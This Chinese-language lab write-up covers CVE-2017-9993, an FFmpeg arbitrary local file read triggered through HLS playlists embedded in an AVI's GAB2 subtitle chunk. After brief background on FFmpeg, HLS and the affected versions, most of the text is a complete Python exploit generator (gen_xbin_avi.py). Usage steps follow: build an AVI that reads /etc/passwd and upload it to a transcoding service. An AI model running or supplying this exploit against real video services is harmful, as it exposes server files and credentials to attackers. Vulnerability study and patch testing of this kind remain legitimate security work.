CVE-2017-9993-FFmpeg文件读取漏洞

CVE-2017-9993-FFmpeg文件读取漏洞实验环境

漏洞介绍

FFmpeg

FFmpeg是一套目前非常流行的可以用来记录、转换数字音频、视频,并能将其转化为流的开源计算机程序。它提供了录制、转换以及流化音视频的完整解决方案。目前有非常多的视音频软件或是视频网站、手机 APP 都采用了这个库。

HLS 协议简单介绍

HLS(HTTP Live Streaming)是苹果公司针对iPhone、iPod、iTouch和iPad等移动设备而开发的基于HTTP协议的流媒体解决方案。在 HLS 技术中 Web服务器向客户端提供接近实时的音视频流。但在使用的过程中是使用的标准的 HTTP 协议,所以这时,只要使用 HLS 的技术,就能在普通的 HTTP 的应用上直接提供点播和直播。

该技术基本原理是将视频文件或视频流切分成小片(ts)并建立索引文件(m3u8)。客户端会先向服务器请求 m3u8索引文件,然后根据索引文件里面的url去请求真正的ts视频文件。如果是多级的m3u8索引的话,那就会从根索引文件开始,一层一层的往下去请求子的索引文件,获取最终的TS流文件的http请求地址与时间段。

漏洞介绍

6月24日,HackerOne平台名为neex的白帽子针对俄罗斯最大社交网站VK.com上报了该漏洞,并因此获得1000美元奖金。

ffmpeg可处理HLS播放列表,而播放列表中已知可包含外部文件的援引。neex表示他借由该特性,利用avi文件中的GAB2字幕块,可以通过XBIN codec获取到视频转换网站的本地文件。

影响范围

3.2.2 3.2.5 3.1.2 2.6.8

不受影响的版本

3.3.2

漏洞危害

该漏洞可导致读取本地任意文件,危害较大,Google,Yahoo,Youtube等门户、视听网站以及支持流转码服务的业务已被曝出存在该漏洞。国内支持流转码的网站也可能有存在该漏洞的风险。

漏洞利用脚本

gen_xbin_avi.py
gen_xbin_avi.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
#!/usr/bin/env python3
import struct
import argparse
import random
import string

AVI_HEADER = b"RIFF\x00\x00\x00\x00AVI LIST\x14\x01\x00\x00hdrlavih8\x00\x00\x00@\x9c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00}\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\xe0\x00\x00\x00\xa0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00LISTt\x00\x00\x00strlstrh8\x00\x00\x00txts\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x19\x00\x00\x00\x00\x00\x00\x00}\x00\x00\x00\x86\x03\x00\x00\x10'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe0\x00\xa0\x00strf(\x00\x00\x00(\x00\x00\x00\xe0\x00\x00\x00\xa0\x00\x00\x00\x01\x00\x18\x00XVID\x00H\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00LIST movi"

ECHO_TEMPLATE = """### echoing {needed!r}
#EXT-X-KEY: METHOD=AES-128, URI=/dev/zero, IV=0x{iv}
#EXTINF:1,
#EXT-X-BYTERANGE: 16
/dev/zero
#EXT-X-KEY: METHOD=NONE
"""

# AES.new('\x00'*16).decrypt('\x00'*16)
GAMMA = b'\x14\x0f\x0f\x10\x11\xb5"=yXw\x17\xff\xd9\xec:'

FULL_PLAYLIST = """#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
{content}
#### random string to prevent caching: {rand}
#EXT-X-ENDLIST"""

EXTERNAL_REFERENCE_PLAYLIST = """
#### External reference: reading {size} bytes from {filename} (offset {offset})
#EXTINF:1,
#EXT-X-BYTERANGE: {size}@{offset}
{filename}
"""

XBIN_HEADER = b'XBIN\x1A\x20\x00\x0f\x00\x10\x04\x01\x00\x00\x00\x00'


def echo_block(block):
assert len(block) == 16
iv = ''.join(map('{:02x}'.format, [x ^ y for (x, y) in zip(block, GAMMA)]))
return ECHO_TEMPLATE.format(needed=block, iv=iv)


def gen_xbin_sync():
seq = []
for i in range(60):
if i % 2:
seq.append(0)
else:
seq.append(128 + 64 - i - 1)
for i in range(4, 0, -1):
seq.append(128 + i - 1)
seq.append(0)
seq.append(0)
for i in range(12, 0, -1):
seq.append(128 + i - 1)
seq.append(0)
seq.append(0)
return seq


def test_xbin_sync(seq):
for start_ind in range(64):
path = [start_ind]
cur_ind = start_ind
while cur_ind < len(seq):
if seq[cur_ind] == 0:
cur_ind += 3
else:
assert seq[cur_ind] & (64 + 128) == 128
cur_ind += (seq[cur_ind] & 63) + 3
path.append(cur_ind)
assert cur_ind == len(seq), "problem for path {}".format(path)


def echo_seq(s):
assert len(s) % 16 == 0
res = []
for i in range(0, len(s), 16):
res.append(echo_block(s[i:i + 16]))
return ''.join(res)


test_xbin_sync(gen_xbin_sync())

SYNC = echo_seq(gen_xbin_sync())


def make_playlist_avi(playlist, fake_packets=1000, fake_packet_len=3):
content = b'GAB2\x00\x02\x00' + b'\x00' * 10 + playlist.encode('ascii')
packet = b'00tx' + struct.pack('<I', len(content)) + content
dcpkt = b'00dc' + struct.pack('<I',
fake_packet_len) + b'\x00' * fake_packet_len
return AVI_HEADER + packet + dcpkt * fake_packets


def gen_xbin_packet_header(size):
return bytes([0] * 9 + [1] + [0] * 4 + [128 + size - 1, 10])


def gen_xbin_packet_playlist(filename, offset, packet_size):
result = []
while packet_size > 0:
packet_size -= 16
assert packet_size > 0
part_size = min(packet_size, 64)
packet_size -= part_size
result.append(echo_block(gen_xbin_packet_header(part_size)))
result.append(
EXTERNAL_REFERENCE_PLAYLIST.format(
size=part_size,
offset=offset,
filename=filename))
offset += part_size
return ''.join(result), offset


def gen_xbin_playlist(filename_to_read):
pls = [echo_block(XBIN_HEADER)]
next_delta = 5
for max_offs, filename in (
(5000, filename_to_read), (500, "file:///dev/zero")):
offset = 0
while offset < max_offs:
for _ in range(10):
pls_part, new_offset = gen_xbin_packet_playlist(
filename, offset, 0xf0 - next_delta)
pls.append(pls_part)
next_delta = 0
offset = new_offset
pls.append(SYNC)
return FULL_PLAYLIST.format(content=''.join(pls), rand=''.join(
random.choice(string.ascii_lowercase) for i in range(30)))


if __name__ == "__main__":
parser = argparse.ArgumentParser('AVI+M3U+XBIN ffmpeg exploit generator')
parser.add_argument(
'filename',
help='filename to be read from the server (prefix it with "file://")')
parser.add_argument('output_avi', help='where to save the avi')
args = parser.parse_args()
assert '://' in args.filename, "ffmpeg needs explicit proto (forgot file://?)"
content = gen_xbin_playlist(args.filename)
avi = make_playlist_avi(content)
output_name = args.output_avi

with open(output_name, 'wb') as f:
f.write(avi)

步骤

./gen_xbin_avi.py file://<filename> file_read.avi

运行脚本

python gen_xbin_avi.py file:///etc/passwd passwd.avi

上传视频文件 查看

FFmpeg文件读取漏洞(CVE-2017-9993)